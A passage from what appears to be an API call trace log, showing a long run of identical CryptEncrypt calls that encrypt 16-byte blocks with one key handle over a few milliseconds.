hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.703] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.704] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.705] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.706] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, 